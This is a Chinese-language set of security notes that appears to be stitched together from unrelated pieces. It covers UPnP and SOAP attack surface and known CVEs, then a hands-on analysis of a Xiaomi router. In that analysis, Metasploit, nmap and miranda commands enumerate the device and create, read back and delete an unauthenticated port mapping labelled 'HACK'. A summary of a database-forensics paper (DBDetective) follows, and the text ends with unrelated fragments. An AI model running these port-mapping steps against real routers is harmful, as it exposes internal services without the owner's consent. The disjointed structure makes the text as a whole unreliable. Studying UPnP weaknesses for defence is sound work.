当状态变量更改时，新状态将发送到已订阅该事件的所有程序/设备。程序/设备可以通过eventSubURL来订阅服务的状态变量，该URL可以在LOCATION指向的URL中找到。

1
2
3
4
5
6
7

<service>
  <serviceType> urn：schemas-upnp-org：service：WANPPPConnection：1 </ serviceType>
  <serviceId> urn：upnp-org：serviceId：wanpppc：pppoa </ serviceId>
  <controlURL> / upnp / control / wanpppcpppoa </ controlURL>
  <eventSubURL> / upnp / event / wanpppcpppoa <
  <SCPDURL> /WANPPPConnection.xml </ SCPDURL>
</ service>

展示

最后一步是展示。如果设备带有存在URL，那么控制点可以通过它来获取设备存在信息，即在浏览器中加载URL，并允许用户来进行相关控制或查看操作。具体支持哪些操作则是由存在页面和设备完成的。

NAT穿透

UPnP为NAT（网络地址转换）穿透带来了一个解决方案：互联网网关设备协议（IGD）。NAT穿透允许UPnP数据包在没有用户交互的情况下，无障碍的通过路由器或者防火墙（假如那个路由器或者防火墙支持NAT）。

SOAP和UPnP

UPnP - Discovery

UPnP – Description

• XML文件通常托管在高位的TCP端口
• 版本信息
  upnp.org spec
  通常为1.0
• 设备定义
  型号名和编号、序列号、厂商名、品牌相关URL
  服务列表：服务类型；SCPD URL；Control URL；Event URL
  

  UPnP – SCPD

• 定义服务动作和参数的XML文件
• 版本信息
  和描述一致
• 动作列表
  动作名
  参数：参数名、方向（输入输出）、变量名
• 变量列表
  变量名、数据类型
  

  UPnP – Control

• 这里用到了SOAP
• 主要是RPC服务或CGI脚本的前端
• SOAP封装
  • XML格式的API调用
  • 描述XML中的服务类型
  • 来自SCPD XML的动作名称和参数
• POST封装到control URL
  

  TL;DR

  

  好的一面

• Control AV equipment
• Home automation
• Network administration
• Physical security systems (ok, easy there buddy)
• Industrial monitoring and control (uh…what?)
• And this is just the official specs
  All our devices can talk to each other! Brave new worlds of remote control and automation! Have your toaster turn on the lights, set the TV to the news channel, and send you a text message when breakfast is ready! The future is now! Nothing could possibly go wrong!

  关于安全

1. 嵌入式设备

• 有限的内存和处理能力
• 硬件和软件开发人员通常是完全不同的公司
• 复制和粘贴开发
• 保持低成本
• 不完全关心/懂行

2. 部署

• 数以百万计的面向互联网的UPnP设备
• 要计算的供应商太多
• 前端是标准化的，后端甚至在同一供应商内也有所不同
• 难以修补/更新固件
• 仅仅因为你可以，并不意味着你应该

3. XML解析很难

• 需要大量系统资源
• 自由格式的用户提供的数据
• 2013年，2.5％的CVE与XML相关[2]，其中，近36％的患者CVSS严重程度为7或以上
• 随着XML的用例增长，版本也越来越多：递归错误，XXE，命令注入等……

攻击面

• UPnP服务
  • HTTP头解析
  • SSDP解析
  • OS命令注入
  • 信息披露
• SOAP服务
  • HTTP头解析
  • XML解析
  • 注射用品
  • OS命令
  • SQL注入
  • SOAP注入
  • 信息披露
  • 可疑级别的未经身份验证的设备控制

  Attack surface – UPnP

• CVE-2012-5958
  去年由HD Moore（众多之一）披露；调用strncpy将ST头中的字符串复制到TempBuf[COMMAND_LEN]；strncpy的长度参数基于冒号之间的字符数
  

• D-Link DIR-815 UPnP命令注入
  去年由Zach Cutlip披露;ST头的内容作为参数传递给M-SEARCH.sh;无需验证
  

Attack surface – SOAP

• XBMC soap_action_name缓冲区溢出
  由n00b于2010年10月公布;ProcessHttpPostRequest函数分配静态大小的缓冲区;调用sscanf将SOAPAction标头的值复制到其中，没有边界检查
  

• 博通SetConnectionType格式字符串漏洞
  去年Leon Juranic和Vedran Kajic透露；SetConnectionType操作将NewConnectionType参数的值提供给snprintf；不对用户控制的值进行检查
  

• CVE-2014-3242
  今年早些时候由pnig0s披露;SOAPpy允许在SOAP请求中声明用户定义的XML外部实体;不对用户控制的值进行检查
  

• CVE-2014-2928
  Brandon Perry今年早些时候公布了（PBerry Crunch！）;F5 iControl API set_hostname操作将hostname参数的值传递给shell;再一次，不对用户控制的值进行消毒
  

• CVE-2011-4499，CVE-2011-4500，CVE-2011-4501，CVE-2011-4503，CVE-2011-4504，CVE-2011-4505，CVE-2011-4506，更多？
  Daniel Garcia在Defcon 19上披露; UPnP IGD 使用AddPortMapping和DeletePortMapping等操作来允许远程管理路由规则;缺乏身份验证，可在WAN接口上使用; 使攻击者能够执行：•NAT遍历 •外部/内部主机端口映射 •内部LAN的外部网络扫描

如何测试

• 了解您的网络
  M-SEARCH你连接的每个网络以监听新的NOTIFY消息
• 如果您不需要UPnP，请将其禁用
  如果不在设备上，则在路由器上
• 随时掌握固件更新
  并非总是自动的
• 模糊测试
  Burp – http://portswigger.net/burp/
  WSFuzzer – https://www.owasp.org/index.php/Category:OWASP_WSFuzzer_Project
  Miranda – http://code.google.com/p/miranda-upnp/

对小米WIFI路由器的UPnP分析

使用工具扫描

使用Metasploit检查

1
2
3
4
5
6
7
8
9
10

msfconsole
msf5 > use auxiliary/scanner/upnp/ssdp_msearch
msf5 auxiliary(scanner/upnp/ssdp_msearch) > set RHOSTS 192.168.31.0/24
RHOSTS => 192.168.31.0/24
msf5 auxiliary(scanner/upnp/ssdp_msearch) > run

[*] Sending UPnP SSDP probes to 192.168.31.0->192.168.31.255 (256 hosts)
[*] 192.168.31.1:1900 SSDP MiWiFi/x UPnP/1.1 MiniUPnPd/2.0 | http://192.168.31.1:5351/rootDesc.xml | uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8c::upnp:rootdevice
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

从中可以得到这些信息：

• UPnP/1.1
• MiniUPnPd/2.0

使用nmap进行扫描

1
2
3
4
5

nmap -p1900，5351 192.168.31.1

PORT     STATE    SERVICE
1900/tcp filtered upnp
5351/tcp open     nat-pmp

nat-pmp
NAT端口映射协议（英语：NAT Port Mapping Protocol，缩写NAT-PMP）是一个能自动创建网络地址转换（NAT）设置和端口映射配置而无需用户介入的网络协议。该协议能自动测定NAT网关的外部IPv4地址，并为应用程序提供与对等端交流通信的方法。NAT-PMP于2005年由苹果公司推出，为更常见的ISO标准互联网网关设备协议（被许多NAT路由器实现）的一个替代品。该协议由互联网工程任务组（IETF）在RFC 6886中发布。
NAT-PMP使用用户数据报协议（UDP），在5351端口运行。该协议没有内置的身份验证机制，因为转发一个端口通常不允许任何活动，也不能用STUN方法实现。NAT-PMP相比STUN的好处是它不需要STUN服务器，并且NAT-PMP映射有一个已知的过期时间，应用可以避免低效地发送保活数据包。
NAT-PMP是端口控制协议（PCP）的前身。
https://laucyun.com/25118b151a3386b7beff250835fe7e98.html
2014年10月，Rapid7安全研究员Jon Hart公布，因厂商对NAT-PMP协议设计不当，估计公网上有1200万台网络设备受到NAT-PMP漏洞的影响。NAT-PMP协议的规范中特别指明，NAT网关不能接受来自外网的地址映射请求，但一些厂商的设计并未遵守此规定。黑客可能对这些设备进行恶意的端口映射，进行流量反弹、代理等攻击。

netstat扫描

1
2
3
4

Proto Recv-Q Send-Q Local Address         Foreign Address    State    in out PID/Program name
tcp   0      0      :::5351               :::*               LISTEN   0 0 18068/miniupnpd
udp   0      0      192.168.31.1:5351     0.0.0.0:*          0        0 18068/miniupnpd
udp   0      0      0.0.0.0:1900          0.0.0.0:*          1414113  1827652 18068/miniupnpd

端口1900在UPnP发现的过程中使用，5351通常为端口映射协议NAT-PMP运行的端口

miranda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144

sudo python2 miranda.py -i wlx44334c388fbd -v

Miranda v1.3
The interactive UPnP client
Craig Heffner, http://www.devttys0.com


Binding to interface wlx44334c388fbd ...

Verbose mode enabled!
upnp> msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

****************************************************************
SSDP reply message from 192.168.31.1:5351
XML file is located at http://192.168.31.1:5351/rootDesc.xml
Device is running MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
****************************************************************

upnp> host get 0

Requesting device and service info for 192.168.31.1:5351 (this could take a few seconds)...

Device urn:schemas-upnp-org:device:WANDevice:1 does not have a presentationURL
Device urn:schemas-upnp-org:device:WANConnectionDevice:1 does not have a presentationURL
Host data enumeration complete!

upnp> host list

[0] 192.168.31.1:5351

upnp> host info 0

xmlFile : http://192.168.31.1:5351/rootDesc.xml
name : 192.168.31.1:5351
proto : http://
serverType : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
upnpServer : MiWiFi/x UPnP/1.1 MiniUPnPd/2.0
dataComplete : True
deviceList : {}

upnp> host info 0 deviceList

InternetGatewayDevice : {}
WANDevice : {}
WANConnectionDevice : {}

upnp> host info 0 deviceList WANConnectionDevice

  manufacturerURL : http://miniupnp.free.fr/
  modelName : MiniUPnPd
  UPC : 000000000000
  modelNumber : 20180830
  friendlyName : WANConnectionDevice
  fullName : urn:schemas-upnp-org:device:WANConnectionDevice:1
  modelDescription : MiniUPnP daemon
  UDN : uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8e
  modelURL : http://miniupnp.free.fr/
  manufacturer : MiniUPnP
  services : {}

upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection

    eventSubURL : /evt/IPConn
    controlURL : /ctl/IPConn
    serviceId : urn:upnp-org:serviceId:WANIPConn1
    SCPDURL : /WANIPCn.xml
    fullName : urn:schemas-upnp-org:service:WANIPConnection:1
    actions : {}
    serviceStateVariables : {}

upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection actions

      AddPortMapping : {}
      GetNATRSIPStatus : {}
      GetGenericPortMappingEntry : {}
      GetSpecificPortMappingEntry : {}
      ForceTermination : {}
      GetExternalIPAddress : {}
      GetConnectionTypeInfo : {}
      GetStatusInfo : {}
      SetConnectionType : {}
      DeletePortMapping : {}
      RequestConnection : {}

upnp> host info 0 deviceList WANConnectionDevice services WANIPConnection serviceStateVariables

        InternalClient : {}
        Uptime : {}
        PortMappingLeaseDuration : {}
        PortMappingDescription : {}
        RemoteHost : {}
        PossibleConnectionTypes : {}
        ExternalPort : {}
        RSIPAvailable : {}
        ConnectionStatus : {}
        PortMappingNumberOfEntries : {}
        ExternalIPAddress : {}
        ConnectionType : {}
        NATEnabled : {}
        LastConnectionError : {}
        InternalPort : {}
        PortMappingProtocol : {}
        PortMappingEnabled : {}

upnp> host summary 0

          Host: 192.168.31.1:5351
          XML File: http://192.168.31.1:5351/rootDesc.xml
          InternetGatewayDevice
          manufacturerURL: http://www.mi.com
          modelName: MiWiFi Router
          UPC: 000000000000
          modelNumber: 20180830
          presentationURL: http://miwifi.com/
          friendlyName: MiWiFi router
          fullName: urn:schemas-upnp-org:device:InternetGatewayDevice:1
          modelDescription: MiWiFi Router
          UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8c
          modelURL: http://www1.miwifi.com
          manufacturer: Xiaomi
          WANDevice
          manufacturerURL: http://miniupnp.free.fr/
          modelName: WAN Device
          UPC: 000000000000
          modelNumber: 20180830
          friendlyName: WANDevice
          fullName: urn:schemas-upnp-org:device:WANDevice:1
          modelDescription: WAN Device
          UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8d
          modelURL: http://miniupnp.free.fr/
          manufacturer: MiniUPnP
          WANConnectionDevice
          manufacturerURL: http://miniupnp.free.fr/
          modelName: MiniUPnPd
          UPC: 000000000000
          modelNumber: 20180830
          friendlyName: WANConnectionDevice
          fullName: urn:schemas-upnp-org:device:WANConnectionDevice:1
          modelDescription: MiniUPnP daemon
          UDN: uuid:f3539dd5-8dc5-420c-9070-c6f66d27fc8e
          modelURL: http://miniupnp.free.fr/
          manufacturer: MiniUPnP

• 使用miranda发送UPnP命令
  获取外部IP地址

1
2
3

upnp> host send 0 WANConnectionDevice WANIPConnection GetExternalIPAddress

NewExternalIPAddress : 172.16.173.231

增加一个端口映射，将路由器上端口为1900的服务映射到外网端口8080

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping

Required argument:
Argument Name:  NewPortMappingDescription
Data Type:      string
Allowed Values: []
Set NewPortMappingDescription value to: HACK

Required argument:
Argument Name:  NewLeaseDuration
Data Type:      ui4
Allowed Values: []
Value Min:      0
Value Max:      604800
Set NewLeaseDuration value to: 0

Required argument:
Argument Name:  NewInternalClient
Data Type:      string
Allowed Values: []
Set NewInternalClient value to: 192.168.31.1

Required argument:
Argument Name:  NewEnabled
Data Type:      boolean
Allowed Values: []
Set NewEnabled value to: 1

Required argument:
Argument Name:  NewExternalPort
Data Type:      ui2
Allowed Values: []
Set NewExternalPort value to: 8080

Required argument:
Argument Name:  NewRemoteHost
Data Type:      string
Allowed Values: []
Set NewRemoteHost value to:

Required argument:
Argument Name:  NewProtocol
Data Type:      string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP

Required argument:
Argument Name:  NewInternalPort
Data Type:      ui2
Allowed Values: []
Value Min:      1
Value Max:      65535
Set NewInternalPort value to: 1900

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

upnp> host send 0 WANConnectionDevice WANIPConnection GetSpecificPortMappingEntry

  Required argument:
  Argument Name:  NewExternalPort
  Data Type:      ui2
  Allowed Values: []
  Set NewExternalPort value to: 8080

  Required argument:
  Argument Name:  NewRemoteHost
  Data Type:      string
  Allowed Values: []
  Set NewRemoteHost value to:

  Required argument:
  Argument Name:  NewProtocol
  Data Type:      string
  Allowed Values: ['TCP', 'UDP']
  Set NewProtocol value to: TCP

  NewPortMappingDescription : HACK
  NewLeaseDuration : 0
  NewInternalClient : 192.168.31.1
  NewEnabled : 1
  NewInternalPort : 1900

可以无需验证地删除映射

1

upnp> host send 0 WANConnectionDevice WANIPConnection DeletePortMapping

虽然UPnP是一种很少理解的协议，但它在绝大多数家庭网络上都很活跃，甚至在某些公司网络上也是如此。许多设备支持UPnP以便于消费者使用，但是，它们通常支持不允许任何服务自动执行的操作，尤其是未经授权的情况下。更糟糕的是，协议实现本身很少以安全思维构建，使其可以进一步利用。
防止本地/远程利用UPnP的最佳方法是在任何/所有网络设备上禁用该功能。然而，考虑到这个协议和其他“自动魔术”协议旨在帮助懒惰的用户，他们可能不知道这些协议的危险，唯一真正的解决方案是让供应商更加关注他们的设计和实施，并且更加安全。

浏览配置文件

通过find命令搜索

root@XiaoQiang:/# find -name *upnp*./etc/rc.d/S95miniupnpd./etc/init.d/miniupnpd./etc/hotplug.d/iface/50-miniupnpd./etc/config/upnpd./tmp/upnp.leases./tmp/etc/miniupnpd.conf./tmp/run/miniupnpd.pid./usr/lib/lua/luci/view/web/setting/upnp.htm./usr/sbin/miniupnpd./usr/share/miniupnpd./www/xiaoqiang/web/css/upnp.css./data/etc/rc.d/S95miniupnpd./data/etc/init.d/miniupnpd./data/etc/hotplug.d/iface/50-miniupnpd./data/etc/config/upnpd

• /etc/rc.d 启动的配置文件和脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179

!/bin/sh /etc/rc.common
# Copyright (C) 2006-2011 OpenWrt.org

START=95
SERVICE_USE_PID=1
upnpd_get_port_range() {
        local _var="$1"; shift
        local _val
        config_get _val "$@"
        case "$_val" in
                [0-9]*[:-][0-9]*)
                        export -n -- "${_var}_start=${_val%%[:-]*}"
                        export -n -- "${_var}_end=${_val##*[:-]}"
                ;;
                [0-9]*)
                        export -n -- "${_var}_start=$_val"
                        export -n -- "${_var}_end="
                ;;
        esac
}
conf_rule_add() {
        local cfg="$1"
        local tmpconf="$2"
        local action external_port_start external_port_end int_addr
        local internal_port_start internal_port_end

        config_get action "$cfg" action "deny"               # allow or deny
        upnpd_get_port_range "ext" "$cfg" ext_ports "0-65535" # external ports: x, x-y, x:y
        config_get int_addr "$cfg" int_addr "0.0.0.0/0"       # ip or network and subnet mask (internal)
        upnpd_get_port_range "int" "$cfg" int_ports "0-65535" # internal ports: x, x-y, x:y or range

        # Make a single IP IP/32 so that miniupnpd.conf can use it.
        case "$int_addr" in
                */*) ;;
                *) int_addr="$int_addr/32" ;;
        esac

        echo "${action} ${ext_start}${ext_end:+-}${ext_end} ${int_addr} ${int_start}${int_end:+-}${int_end}" >>$tmpconf
}
upnpd_write_bool() {                                                                                                   
        local opt="$1"                                                                                                 
        local def="${2:-0}"                                                                                            
        local alt="$3"                                                                                                 
        local val                                                                                                      

        config_get_bool val config "$opt" "$def"                                                                       
        if [ "$val" -eq 0 ]; then                                                                                      
                echo "${alt:-$opt}=no" >> $tmpconf                                                                     
        else                                                                                                           
                echo "${alt:-$opt}=yes" >> $tmpconf                                                                    
        fi                                                                                                             
}                                                                                                                      

boot() {                                                                                                               
        return 0                                                                                                       
}                                                                                                                      

start() {                                                                                                              
        config_load "upnpd"                                                                                            
        local extiface intiface upload download logging secure enabled natpmp                                          
        local extip port usesysuptime conffile serial_number model_number                                              
        local uuid notify_interval presentation_url enable_upnp                                                        
        local upnp_lease_file clean_ruleset_threshold clean_ruleset_interval                                           

        config_get extiface config external_iface                                                                      
        config_get intiface config internal_iface                                                                      
        config_get extip config external_ip                                                                            
        config_get port config port 5000                                                                               
        config_get upload   config upload                                                                              
        config_get download config download                                                                            
        config_get_bool logging config log_output 0                                                                    
        config_get conffile config config_file                                                                         
        config_get serial_number config serial_number                                                                  
        config_get model_number config model_number                                                                    
        config_get uuid config uuid                                                                                    
        config_get notify_interval config notify_interval                                                              
        config_get presentation_url config presentation_url                                                            
        config_get upnp_lease_file config upnp_lease_file                                                              
        config_get clean_ruleset_threshold config clean_ruleset_threshold                                              
        config_get clean_ruleset_interval config clean_ruleset_interval                                                

        local args                                                                                                     

        . /lib/functions/network.sh        
        local ifname                                                                                                   
        network_get_device ifname ${extiface:-wan}                                                                     

        if [ -n "$conffile" ]; then                                                                                    
                args="-f $conffile"                                                                                    
        else                                                                                                           
                local tmpconf="/var/etc/miniupnpd.conf"                                                                
                args="-f $tmpconf"                                                                                     
                mkdir -p /var/etc                                                                                      

                echo "ext_ifname=$ifname" >$tmpconf                                                                    

                [ -n "$extip" ] && \                                                                                   
                        echo "ext_ip=$extip" >>$tmpconf                                                                

                local iface                                                                                            
                for iface in ${intiface:-lan}; do                                                                      
                        local device                                                                                   
                        network_get_device device "$iface" && {                                                        
                                echo "listening_ip=$device" >>$tmpconf                                                 
                        }                                                                                              
                done                                                                                                   

                [ "$port" != "auto" ] && \                                                                             
                        echo "port=$port" >>$tmpconf                                                                   

                config_load "upnpd"                                                                                    
                upnpd_write_bool enable_natpmp 1                             
                upnpd_write_bool enable_upnp 1                               
                upnpd_write_bool secure_mode 1                               
                upnpd_write_bool system_uptime 1    
                [ -n "$upnp_lease_file" ] && {                                                                         
                        touch $upnp_lease_file                                                                         
                        echo "lease_file=$upnp_lease_file" >>$tmpconf                                                  
                }                                                                                                      

                [ -n "$upload" -a -n "$download" ] && {                                                                
                        echo "bitrate_down=$(($download * 1024 * 8))" >>$tmpconf                                       
                        echo "bitrate_up=$(($upload * 1024 * 8))" >>$tmpconf                                           
                }                                                                                                      

                [ -n "${presentation_url}" ] && \                                                                      
                        echo "presentation_url=${presentation_url}" >>$tmpconf                                         

                [ -n "${notify_interval}" ] && \                                                                       
                        echo "notify_interval=${notify_interval}" >>$tmpconf                                           

                [ -n "${clean_ruleset_threshold}" ] && \                                                               
                        echo "clean_ruleset_threshold=${clean_ruleset_threshold}" >>$tmpconf                           

                [ -n "${clean_ruleset_interval}" ] && \                                                                
                        echo "clean_ruleset_interval=${clean_ruleset_interval}" >>$tmpconf                             

                [ -z "$uuid" ] && {                                                                                    
                        uuid="$(cat /proc/sys/kernel/random/uuid)"                                                     
                        uci set upnpd.config.uuid=$uuid                                                                
                        uci commit upnpd                                                                               
                }                                                                                                      

                [ "$uuid" = "nocli" ] || \                                                                             
                        echo "uuid=$uuid" >>$tmpconf                                                                   

                [ -n "${serial_number}" ] && \                                                                         
                        echo "serial=${serial_number}" >>$tmpconf                                                      

                [ -n "${model_number}" ] && \                                               
                        echo "model_number=${model_number}" >>$tmpconf        
                        config_foreach conf_rule_add perm_rule "$tmpconf"                                                          
                    fi                                                                                                             


                    if [ -n "$ifname" ]; then                                                                                      
                            # start firewall                                                                                       
                            iptables -L MINIUPNPD >/dev/null 2>/dev/null || fw3 reload                                             

                            if [ "$logging" = "1" ]; then                                                                          
                                    SERVICE_DAEMONIZE=1 \                                                                          
                                    service_start /usr/sbin/miniupnpd $args -d                                                     
                            else                                                                                                   
                                    SERVICE_DAEMONIZE= \                                                                           
                                    service_start /usr/sbin/miniupnpd $args                                                        
                            fi                                                                                                     
                    else                                                                                                           
                            logger -t "upnp daemon" "external interface not found, not starting"                                   
                    fi                                                                                                             
                    return 0                                                                                                       
            }                                                                                                                      

            stop() {                                                                                                               
                    service_stop /usr/sbin/miniupnpd                                                                               

                    iptables -t nat -F MINIUPNPD 2>/dev/null                                            
                    iptables -t filter -F MINIUPNPD 2>/dev/null                                         
                    return 0                                                                            
            }

SmartController
messagingagent

复原数据库存储以检测和跟踪安全漏洞
原文下载

Motivation

DBMS(数据库管理系统)

• 通常用于存储和处理敏感数据，因此，投入了大量精力使用访问控制策略来保护DBMS。
• 一旦用户在DBMS中获得提升权限（无论是合理的还是通过攻击的），实施的安全方案可以绕过，因此无法再根据政策保证数据受到保护。
  1）访问控制策略可能不完整，允许用户执行他们不能执行的命令
  2）用户可能通过使用DB或OS代码中的安全漏洞或通过其他方式非法获取权限
• 部署预防措施
  1）在及时发生安全漏洞时检测安全漏洞;
  2）在检测到攻击时收集有关攻击的证据，以便设计对抗措施并评估损害程度

例子

Malice是政府机构的数据库管理员，为公民提供犯罪记录。 Malice最近被判犯有欺诈罪，并决定滥用她的特权，并通过运行DELETE FROM Record WHERE name = ‘Malice’来删除她的犯罪记录。
但是，她知道数据库操作需要定期审核，以检测对机构存储的高度敏感数据的篡改。为了覆盖她的操作，Malice在运行DELETE操作之前停用审计日志，然后再次激活日志。因此，在数据库中没有她的非法操纵的日志跟踪。
但是，磁盘上的数据库存储仍将包含已删除行的证据。
作者的方法检测已删除的痕迹和过期的记录版本，并将它们与审核日志进行匹配，以检测此类攻击，并提供数据库操作方式的证据。
作者将检测已删除的行，因为它与审计日志中的任何操作都不对应，我们会将其标记为篡改的潜在证据。

思路一览

提出方法

使用称为DICE的现有取证工具（Wagner等，2017）来重建数据库存储
通过匹配提取的存储条目，报告任何无法通过操作记录解释的工件来自动检测潜在的攻击

1. DBDetective检查数据库存储和RAM快照，并将它找到的内容与审计日志进行比较
2. 然后，在不影响数据库操作的情况下，对核心数据进行分析。
   

确定数据库篡改的可能性，并指出数据库存储中发现的具体不一致性。
由于数据库存储的易变性，无法保证将发现所有攻击。
在对于我们评估的每个主要DBMS，我们假设DBMS已启用审计日志来捕获与调查相关的SQL命令。
我们进一步假设一名攻击者通过以下方式阻止记录已执行的恶意命令：

• 停用审计策略并暂时挂起日志记录
• 更改现有审计日志（两者都在数据库日志可靠性部分中讨论）。
  通过将取证分析技术应用于数据库存储或缓冲区缓存，并将发现的证据与审计日志相匹配，可以：
• 检测DBMS审核日志中未显示的多种类型的数据库访问和操作。
• 将未归因的记录修改分类为模糊的INSERT，DELETE或UPDATE命令。
• 检测无法从审核日志中的活动派生的（只读）SELECT查询中的缓存数据。

Reliability of database logs

攻击者可以更改两种类型的日志： write-ahead logs (WAL) and audit logs (event history records)

• WALs以低级别记录数据库修改以支持ACID保证，提供最近表修改的历史记录。
  通常无法禁用或轻松修改WAL，并且需要读取专用工具（例如，Oracle LogMiner或PostgreSQL pg_xlogdump）。
  某些DBMS允许为特定操作禁用WAL，例如批量加载或结构重建。因此，可以通过此功能插入记录而不留下日志跟踪。
• audit logs记录配置的用户数据库操作。包括SQL操作和其他用户活动。审计日志根据数据库管理员配置的日志记录策略存储已执行的SQL命令。 因此，管理员可以根据需要禁用日志记录或修改单个日志记录。
  

Detecting hidden record modifications

插入或修改表记录时，数据库中会发生一连串的存储更改。 除了受影响记录的数据本身之外，页面元数据会更新（例如，设置删除标记），并且存储记录的索引的页面会改变（例如，以反映记录的删除）。 如果尚未缓存，则每个访问的页面都将被带入RAM。 行标识符和结构标识符可用于将所有这些更改绑定在一起。
此外，DBA（数据库管理员）还可以禁用批量修改的日志记录（出于性能考虑）——可以利用此权限来隐藏恶意修改。
在本节中，我们将描述如何检测已修改记录与已记录命令之间的不一致。

Deleted records

1. 算法
   删除的记录不会被物理删除，而是在页面中标记为“已删除”; 已删除行占用的存储空间将成为未分配的空间，最终将被新行覆盖。这些对数据库存储的更改不能被绕过或控制。
   识别存储中与日志中的任何删除操作都不匹配的已删除行。
   
2. 实例

• DICE从Customer表重建了三个删除的行
  （1，Christine，Chicago）
  （3，Christopher，Seattle）
  （4，Thomas，Austin）
• 日志文件包含两个操作
  在算法1中，DeletedRows被设置为三个重建的已删除行。
  算法1返回（4，Thomas，Austin），表示该删除的记录不能归因于任何删除。
  

Inserted records

1. 算法
   新插入的行将附加到表的最后一页的末尾（如果最后一页已满，则为新页）或覆盖由先前删除的行创建的可用空间。
   如果“活跃”新表行与审核日志中的任何插入操作都不匹配，则此行是可疑活动的标志。
   算法2中使用这些“活跃”记录来确定重构行是否可归因于审计日志中的插入。
   
2. 实例

• 该日志包含六个操作。
  当行从T1插入到T4时，它们将附加到表的末尾。
  在T5，删除（3，Lamp）
  然后在T6插入（5，Bookcase）。
  由于row（5，Bookcase）大于删除的行（3，Lamp），因此它将附加到表的末尾。
• DICE重建了五个活动记录
  包括（0，Dog）和（2，Monkey）
  行被初始化为算法2的五个重建活动行
  算法2因此返回（0，Dog）和（2，Monkey）
  因为这些记录无法与记录的插入匹配。
  

Updated records

1. 算法
   UPDATE操作本质上是一个DELETE操作，后跟一个INSERT操作。
   为了考虑更新的行，我们使用算法1返回的未标记删除行和算法2返回的未标记插入行作为算法3的输入。如果删除的行可以与更新的WHERE子句匹配，那么此删除的行操作 被标记为存在于日志中。 接下来，如果未标记的插入行可以与SET子句中的值匹配，并且插入的行匹配已删除行中除SET子句值之外的所有值，则此插入的行操作将出现在日志中。
   
2. 实例
   算法1返回行（2，Desk）
   算法2返回行（0，Dog）和（2，Monkey）
   使用这些记录集，算法3返回（2，Desk）作为已删除记录的列表，并将（0，Dog）和（2，Monkey）作为插入记录的列表。
   此外，算法3识别（2，Desk）和（2，Monkey）中第一列的共享值2。 虽然这不能单独确认UPDATE操作，但可以合理地得出结论：
   （2，Desk）已更新为（2，Monkey）。
   

Detecting inconsistencies for read-only queries

DBMS使用称为缓冲区管理器的组件将页面从磁盘缓存到内存中。数据以页为单位读入缓冲池，可以通过DICE重建。
在本节中，将描述如何将缓冲池中的工件与审计日志中的只读查询进行匹配。
数据库查询可以使用两种可能的访问表的方式之一：
全表扫描（FTS）或索引扫描（IS）。
FTS读取所有表页，而IS使用索引结构来检索引用基于搜索关键字的指针列表。

Full table scan

当查询使用FTS时，只会缓存大表的一小部分。 可以完整地缓存小表（相对于缓冲池大小）。 每个数据库都在页眉中存储唯一的页面标识符，这使我们能够有效地将缓存的页面与磁盘上的对应页面进行匹配。
我们可以通过SID=131识别属于Employee的页面，该SID=131存储在页面标题中。 DICE只能以更快的速度返回页面结构标识符（无需解析页面内容）。
Q2和Q4都通过FTS访问员工。 每次扫描Employee表时，表中相同的四个页面（PID：97,98,99和100）都会加载到缓冲池中。
因此，当在存储器中找到具有PID:97,98,99和100以及SID:131的四个页面时，可以假设FTS应用在Employee表上。

Index access

Customer表的SID=124，C_City列上的二级索引的SID=126.
Q1在城市Dallas上进行过滤，并使用PID=2缓存索引页。此页面的最小值为Chicago和最大值为Detroit 。
Q3在城市Jackson上过滤，并缓存索引页面，页面标识符为4.此页面的最小值为Houston，最大值为Lincoln。
如果审核日志中的查询过滤了索引页的最小值和最大值范围内的值，则该页可以归因于该查询。

Conclusions and future work

• 审计日志和其他内置DBMS安全机制旨在检测或阻止攻击者执行的恶意操作。这种机制的固有缺点是具有足够权限的攻击者可以绕过它们来隐藏它们的踪迹。
• 我们提供并全面评估DBDetective，它可以检测攻击者通过从审计日志中删除从而隐藏的数据库操作，并收集有关攻击者访问和修改哪些数据的证据。
• 我们的方法依赖于对数据库存储的取证检查，并将此信息与审核日志中的条目相关联，以发现恶意操作的证据。
• 重要的是，数据库存储几乎不可能被欺骗，因此，与例如审计日志相比，它是更可靠的篡改证据来源。
• 鉴于存储快照提供的信息不完整，我们将探索概率匹配，确定存储工件由审计日志中的操作引起的可能性，根据操作的时间顺序利用其他约束，模拟审计中SQL命令的部分历史记录获得更精确的匹配，并根据检测到的异常动态调整拍摄快照的频率。

1. 功能限制
2. 时间限制

• 运行时长限制
• 使用日期限制
